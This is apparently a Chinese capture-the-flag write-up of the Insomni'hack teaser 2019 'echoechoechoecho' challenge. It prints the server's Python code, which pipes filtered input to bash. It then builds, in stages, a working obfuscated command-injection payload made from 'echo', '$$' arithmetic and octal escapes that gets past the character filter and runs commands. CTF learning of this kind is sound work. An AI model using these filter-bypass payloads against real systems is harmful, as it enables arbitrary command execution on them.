Insomni'hack teaser 2019 - Misc - echoechoechoecho
参考链接
题目内容
Echo echo echo echo, good luck
nc 35.246.181.187 1337
解题过程
主要思路是通过精巧的构造绕过过滤。
源代码如下:
#!/usr/bin/env python3
from os import close
from random import choice
import re
from signal import alarm
from subprocess import check_output
from termcolor import colored
alarm(10)
colors = ["red","blue","green","yellow","magenta","cyan","white"]
# thanks http://patorjk.com/software/taag/#p=display&h=0&f=Crazy&t=echo
banner = """
_..._ .-'''-.
.-'_..._''. ' _ \\
__.....__ .' .' '.\ . / /` '. \\
.-'' '. / .' .'| . | \ '
/ .-''"'-. `. . ' < | | ' | '
/ /________\ \| | | | \ \ / /
| || | | | .'''-.`. ` ..' /
\ .-------------'. ' | |/.'''. \ '-...-'`
\ '-.____...---. \ '. .| / | |
`. .' '. `._____.-'/| | | |
`''-...... -' `-.______ / | | | |
` | '. | '.
'---' '---'
"""
def bye(s=""):
print(s)
print("bye")
exit()
def check_input(payload):
if payload == 'thisfile':
bye(open("/bin/shell").read())
if not all(ord(c) < 128 for c in payload):
bye("ERROR ascii only pls")
if re.search(r'[^();+$\\= \']', payload.replace("echo", "")):
bye("ERROR invalid characters")
# real echolords probably wont need more special characters than this
if payload.count("+") > 1 or \
payload.count("'") > 1 or \
payload.count(")") > 1 or \
payload.count("(") > 1 or \
payload.count("=") > 2 or \
payload.count(";") > 3 or \
payload.count(" ") > 30:
bye("ERROR Too many special chars.")
return payload
print(colored(banner, choice(colors)))
print("Hi, what would you like to echo today? (make sure to try 'thisfile')")
payload = check_input(input())
print("And how often would you like me to echo that?")
count = max(min(int(input()), 10), 0)
payload += "|bash"*count
close(0)
result = check_output(payload, shell=True, executable="/bin/bash")
bye(result.decode())
Payload只能包含部分特殊符号加上echo, 并且有些特殊符号的使用次数有限制。
下面先演示下如何构造ls
ls | bash
等价于下面
echo $'\154\163' | bash
等价于下面
echo echo \$\'\\$(($((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10==10))+$((10==10))+$((10==10))+$((10==10))))\\$(($((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10))+$((10==10))+$((10==10))+$((10==10))))\'
等价于下面。做这道题的时候$$
的值为10。
echoecho=\; echoechoecho=\( echoechoechoecho=\) echoechoechoechoecho=\+ echoechoechoechoechoecho=\'; echo echo echo \\$\\$echoechoechoechoechoecho\\\\\$$echoechoecho$echoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$==$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$==$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$==$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$==$$$echoechoechoecho$echoechoechoecho$echoechoechoecho$echoechoechoecho\\\\\$$echoechoecho$echoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$==$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$==$$$echoechoechoecho$echoechoechoecho$echoechoechoechoecho\$$echoechoecho$echoechoecho$$==$$$echoechoechoecho$echoechoechoecho$echoechoechoecho$echoechoechoecho\\$echoechoechoechoechoecho
等价于下面
echo=\=;echo echoecho$echo\\\; echoechoecho$echo\\\( echoechoechoecho$echo\\\) echoechoechoechoecho$echo\\\+ echoechoechoechoechoecho$echo\\\'\; echo echo echo \\\\$\\\\\$echoechoechoechoechoecho\\\\\\\\\\$\$echoechoecho\$echoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$$echo$echo\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$$echo$echo\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$$echo$echo\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$$echo$echo\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoecho\$echoechoechoecho\\\\\\\\\\$\$echoechoecho\$echoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$$echo$echo\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$$echo$echo\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoechoecho\\$\$echoechoecho\$echoechoecho\$\$$echo$echo\$\$\$echoechoechoecho\$echoechoechoecho\$echoechoechoecho\$echoechoechoecho\\\\\$echoechoechoechoechoecho
Insomni'hack teaser 2019 - Misc - echoechoechoecho的更多相关文章
- Insomni'hack teaser 2019 - Misc - curlpipebash
参考链接 https://ctftime.org/task/7454 题目 Welcome to Insomni'hack teaser 2019! Execute this Bash command ...
- Insomni'hack teaser 2019 - Pwn - 1118daysober
参考链接 https://ctftime.org/task/7459 Linux内核访问用户空间文件:get_fs()/set_fs()的使用 漏洞的patch信息 https://maltekrau ...
- Insomni'hack teaser 2019 - Reverse - beginner_reverse
参考链接 https://ctftime.org/task/7455 题目描述 A babyrust to become a hardcore reverser 点我下载 解题过程 一道用rust写的 ...
- Insomni’hack CTF-l33t-hoster复现分析
题目地址: https://github.com/eboda/insomnihack/tree/master/l33t_hoster 源码如下: <?php if (isset($_GET[&q ...
- CTF各种资源:题目、工具、资料
目录 题目汇总 Reverse 签到题 Web Web中等难度 Crypto 基础网站 各类工具 综合 Web Payloads 逆向 Pwn 取证 题目汇总 这里收集了我做过的CTF题目 Rever ...
- Kangax 的 ES7 兼容性表格
Kangax 的 ES7 兼容性表格 https://kangax.github.io/compat-table/es2016plus/ Sort by Engine type ...
- 2019年上海市大学生网络安全大赛两道misc WriteUp
2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...
- 2019强网杯部分misc&web
0x01 前言 前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师 ...
- Hack The Box Web Pentest 2019
[20 Points] Emdee five for life [by L4mpje] 问题描述: Can you encrypt fast enough? 初始页面,不管怎么样点击Submit都会显 ...
随机推荐
- Servlet的常见错误
Servlet常见的错误: 1.404错误:资源未找到 原因一:在请求地址中的servlet的别名书写错误. 原因二:虚拟机项目名称拼写错误. 2.500错误:内部服务器错误 错误一: java.la ...
- Linux添加用户到sudoers组
切换用户至rootvim /etc/sudoers 找到root ALL=(ALL) ALL,在下方新增 stack ALL=(ALL) NOPASSWD: ALL w ...
- 十、RF运行方式pybot运行方式
pybot命令 1.执行整个项目下的所有用例: pybot 项目路径.例如: pybot D:\RF 2.执行某个suit中的所有用例: pybot 项目路径\suit文件名称. 例如:pybot D ...
- kafka操作命令
kafka启动 bin/kafka-server-start.sh -daemon config/server.properties 创建topic bin/kafka-topics.sh -zook ...
- UI-WPF_UI:WPF UI - DMSkin官方网站
ylbtech-UI-WPF_UI:WPF UI - DMSkin官方网站 1.返回顶部 1. QQ: 944095635 DMSkin.com 首页 论坛 定制 博客 联系 DMSkin 3. ...
- 八:flask-重定向示例
现象:访问地址a,跳转到地址b,在flask中,使用redirect()来进行重定向 永久性重定向:301,多用于旧网址被废弃了,需要跳转到新网址访问 例如请求www.jingdong.com,会自动 ...
- PHP 验证香港身份证ID号
/**check hk idcard$id = "K548653A";$xx= check_hkid($id);var_dump($xx);**/function check_hk ...
- 《React+Redux前端开发实战》笔记1:不涉及React项目构建的Hello World案例
本小节实现一个不涉及项目构建的Hello World. [React的第一个Hello World网页] 源码地址:https://jsfiddle.net/allan91/2h1sf0ky/8/ & ...
- python+selenium下弹窗alter对象处理02
首先使用switch_to.alert()方法进行定位,然后可以使用下面的操作 text:返回alert.confirm.prompt中的文字信息: accept():接受现有警告框: dismiss ...
- [转帖]功耗降50%,性能升35%!三星3nm GAA 2021年量产
功耗降50%,性能升35%!三星3nm GAA 2021年量产 http://www.chinaflashmarket.com/Instructor 在三星晶圆代工技术论坛(Samsung Found ...